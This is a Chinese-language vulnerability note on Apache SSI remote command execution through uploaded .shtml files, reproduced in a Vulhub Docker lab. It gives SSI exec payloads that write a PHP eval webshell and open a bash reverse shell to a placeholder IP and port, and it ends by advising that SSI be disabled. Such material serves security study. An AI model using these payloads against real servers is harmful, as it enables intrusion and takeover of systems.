跳转至

SSI-RCE(Apache SSI-RCE)

漏洞描述

在测试任意文件上传漏洞的时候,目标服务端可能不允许上传php后缀的文件。如果目标服务器开启了SSI与CGI支持,我们可以上传一个shtml文件,并利用#exec cmd=“id” 语法执行任意命令。

影响版本

  • Apache全版本(支持SSI与CGI)

需要开启SSI和CGI,且后端对扩展名校验不严格时

环境配置

  • Vulhub项目
  • Docker-compose启动

漏洞复现

WebShell

Bash
<!--#exec cmd="echo '<?php @eval($_POST[dayu]);?>' > shell.php" -->

访问test.shtml,执行命令,写入WebShell

反弹Shell

Bash
<!--#exec cmd="bash -c 'bash -i >& /dev/tcp/{IP}/{PORT} 0>&1'" -->

开启监听,访问test.shtml

漏洞原理

SSI(服务器端包含)是放置在HTML页面中的指令,并在服务页面时在服务器上对其进行评估。它们使您可以将动态生成的内容添加到现有的HTML页面,

而不必通过CGI程序或其他动态技术来提供整个页面。

其实apache的ssl更像是flask的jinjia2,用来实现和前端实现一种动态交互,只不过在配置ssl之后,如果上传接口没有过滤掉.shtml文件,那么就可以就其中包含我们要执行的命令。

Text Only
<!--#exec cmd=“ls -al” -->

SSI注入:https://www.cnblogs.com/seizer/p/17035775.html

修复建议

  • 关闭SSI功能